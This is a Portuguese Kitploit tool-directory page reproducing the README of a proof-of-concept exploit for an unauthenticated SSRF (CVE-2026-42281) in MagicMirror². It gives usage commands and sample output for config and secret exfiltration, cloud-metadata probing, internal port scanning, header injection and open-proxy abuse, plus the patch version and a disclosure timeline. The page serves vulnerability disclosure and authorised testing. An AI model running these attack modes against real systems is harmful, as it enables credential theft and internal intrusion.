Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-42281 — Prova de conceito de exploit para CVE-2026-42281, uma SSRF não autenticada no MagicMirror² ≤ 2.35.0, que permite exfiltração de configuração, sondagem de metadados em nuvem e varredura de rede interna. | Kitploit
Ferramentas/GitHubGitHub/astaruf/cve-2026-42281
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de PenetraçãoRed Teaming
GitHubastaruf/cve-2026-42281

CVE-2026-42281

Prova de conceito de exploit para CVE-2026-42281, uma SSRF não autenticada no MagicMirror² ≤ 2.35.0, que permite exfiltração de configuração, sondagem de metadados em nuvem e varredura de rede interna.

Ver Repositório
há 3 mesesAinda não revisado
Site

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-42281: MagicMirror² ≤ 2.35.0 - SSRF não autenticado via endpoint /cors

Descoberto e reportado por: Astaruf

Artigo completo: https://nstsec.com/en/posts/magicmirror-ssrf-cve-2026-42281/

Aviso upstream: Avisos de segurança do MagicMirrorOrg/MagicMirror

Entrada NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-42281


Este repositório hospeda o exploit de prova de conceito para CVE-2026-42281, um SSRF não autenticado no MagicMirror² ≤ 2.35.0 que transforma o endpoint /cors em um proxy SSRF totalmente funcional, alcançando loopback, redes internas e serviços de metadados em nuvem. Com hideConfigSecrets: true, o mesmo endpoint também exfiltra valores de process.env.SECRET_* em uma única requisição.

Para a revisão completa do código, análise da vulnerabilidade, detalhamento da correção, disputa de CVSS e cronograma, consulte o artigo completo em nstsec.com. Este README foca em como usar o PoC.

Prova de Conceito

Requisitos

  • Python 3.8+
  • Sem dependências externas (usa apenas a biblioteca padrão)

Início Rápido

root@kitploit:~
# 1. Verifique se o alvo é vulnerável
python3 poc.py -t http://target:8080 --check

# 2. Exfiltre a configuração da aplicação (com descoberta automática de segredos)
python3 poc.py -t http://target:8080 --config

# 3. Teste serviços de metadados em nuvem em mais de 10 provedores
python3 poc.py -t http://target:8080 --cloud

# 4. Varredura de portas na rede interna via SSRF
python3 poc.py -t http://target:8080 --port-scan 10.0.0.1,10.0.0.2 -p 22,80,443,3306,6379

# 5. Demonstre abuso de cabeçalhos de entrada/saída
python3 poc.py -t http://target:8080 --headers

# 6. Use o servidor como um proxy aberto genérico
python3 poc.py -t http://target:8080 --open-proxy https://internal.corp/api

Modos de Ataque

FlagDescrição
--checkVerifica se o SSRF é explorável via fetch de loopback de /version
--configSSRF /config via loopback, analisa JSON, procura por chaves de API / tokens / senhas nas configurações dos módulos
--cloudTesta serviços de metadados em AWS, GCP, Azure, OCI, DigitalOcean, Alibaba, Hetzner, IBM, Kubernetes, Rancher, Equinix; segue automaticamente a enumeração de funções IAM da AWS
--port-scan HOSTSEscaneia um ou mais hosts (-p 22,80 / -p 0-1024 / -p - para todas as 65535 portas), com threads
--headersParte A: injeta cabeçalhos Authorization/X-* na requisição de saída via sendheaders. Parte B: encaminha Set-Cookie controlado pelo atacante de uma origem maliciosa para o navegador da vítima via expectedheaders
--open-proxy URLGET SSRF genérico para qualquer URL, imprime o corpo da resposta (útil para explorar APIs HTTP internas)

Opções Adicionais

OpçãoPadrãoDescrição
-t / --targetobrigatórioURL do alvo, ex.: http://192.168.1.10:8080
--timeout2.0Tempo limite por requisição em segundos
--threads30Threads para --port-scan
--verbosedesligadoImprime respostas JSON completas (e corpos de metadados em nuvem sem redação)

Demonstração

1. Banner do PoC e modo --check confirmando SSRF:

root@kitploit:~
$ python3 poc.py -t http://127.0.0.1:8080 --check

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗   ██████╗   █████╗   ██╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ╚════██╗  ╚════██╗  ██╔══██╗ ███║
██║     ██║   ██║█████╗   -2026- ███████║  █████╔╝   █████╔╝  ╚█████╔╝ ╚██║
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ██╔═══╝   ██╔═══╝   ██╔══██╗  ██║
╚██████╗ ╚████╔╝ ███████╗             ██║ ███████╗  ███████╗  ╚█████╔╝  ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝ ╚══════╝  ╚══════╝   ╚════╝   ╚═╝

  MagicMirror² <= v2.35.0 — SSRF não autenticado via endpoint /cors
  Autor: Astaruf | https://nstsec.com

  CHECK, Acessibilidade do alvo e confirmação de SSRF
  [*] Verificando acessibilidade do alvo ...
  [+] Alvo acessível, MagicMirror 2.35.0
  [*] Confirmando SSRF via loopback ...
      >> GET http://127.0.0.1:8080/cors?url=http://127.0.0.1:8080/version
  [+] SSRF CONFIRMADO, o servidor buscou recurso interno em nosso nome
      << 2.35.0

2. --config exfiltra a configuração da aplicação e descobre automaticamente segredos nas configurações dos módulos:

root@kitploit:~
  EXFILTRAÇÃO DE CONFIG, Configuração completa via loopback SSRF
  [+] Configuração recuperada, 1194 bytes
  [*] address    : 0.0.0.0
  [*] port       : 8080
  [*] ipWhitelist: [] aberto para todos os IPs

  SEGREDOS ENCONTRADOS:
    [weather]  apiKey                       = ow_demo_api_key_d34db33fc4f3b4b3
    [calendar] calendars[0].auth.pass       = S3cretCalendarPa$$word!
    [newsfeed] accessToken                  = sk-newsfeed-bearer-T0kEn-xyz789

3. --headers confirma injeção de saída e encaminhamento de entrada:

root@kitploit:~
  INJEÇÃO DE CABEÇALHOS, Abuso de cabeçalhos de entrada e saída
  [*] Parte A: injetando cabeçalhos arbitrários em requisições de saída via sendheaders
  [+] Cabeçalho X-Injected-By: SSRF-PoC confirmado na requisição de saída
  [+] Cabeçalho Authorization: Bearer DEMO_TOKEN confirmado na requisição de saída

  [*] Parte B: encaminhando cabeçalhos de resposta para o navegador via expectedheaders
  [+] Cabeçalho de resposta Set-Cookie encaminhado para o navegador: session=hijacked;HttpOnly
  [+] O navegador recebe este cookie como se tivesse origem no domínio do MagicMirror

4. --open-proxy confirma HTTP de saída do servidor:

root@kitploit:~
  PROXY ABERTO, Buscando https://httpbin.org/ip via servidor vulnerável
  [+] HTTP 200, 32 bytes recebidos do servidor

{
  "origin": "<IP público do servidor, não o do atacante>"
}

Notas para testes

  • O --check (e todos os outros modos) envia um SSRF de loopback para http://127.0.0.1:<porta>/version. Ao testar via Docker, certifique-se de que a porta do host corresponda à porta do contêiner (ex.: mapeie 8080:8080, não 8081:8080), caso contrário o alvo de loopback não será resolvido de dentro do contêiner, mesmo que a instância seja genuinamente vulnerável.
  • --cloud contra uma instância não em nuvem (Raspberry Pi, bare metal) não produz resultados — isso é esperado e o script o reporta explicitamente. O vetor existe; testá-lo requer uma implantação real em nuvem.

Correção

Incluída no MagicMirror² v2.36.0 (lançado em 30 de abril de 2026). A correção é distribuída em seis PRs (#4084, #4087, #4090, #4091, #4102, #4104). Consulte o artigo completo para o detalhamento por PR, trechos de código e a matriz de verificação das tentativas de bypass re-testadas contra a versão corrigida.

Cronograma

DataEvento
2026-03-30Vulnerabilidade descoberta, issue pública aberta, e-mail enviado ao mantenedor
2026-03-31Mantenedor reconheceu o relatório
2026-04-01Mantenedores adicionaram SECURITY.md e habilitaram GitHub Security Advisories no repositório
2026-04-09Aviso formal GHSA aberto
2026-04-26Correção confirmada para o próximo lançamento. CVE-2026-42281 atribuída pelo GitHub
2026-04-26Disputa de CVSS — vetor elevado de Moderado para 9.2 Crítico (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N)
2026-04-30MagicMirror² v2.36.0 lançado, correção publicada publicamente
2026-05-04Divulgação pública (artigo + repositório do PoC)

Referências

  • Artigo completo — nstsec.com
  • CVE-2026-42281 — NVD
  • Repositório oficial do MagicMirror²
  • Notas de lançamento do MagicMirror² v2.36.0
  • CWE-918: Server-Side Request Forgery
  • OWASP — Server Side Request Forgery

Aviso Legal

Este material é fornecido apenas para testes de segurança autorizados e fins educacionais. Use-o somente contra instâncias do MagicMirror² que você possui ou para as quais tenha permissão escrita explícita para testar. Acesso não autorizado a sistemas de computador é ilegal. O autor não assume responsabilidade por uso indevido.

Licença

MIT

Baixar ferramenta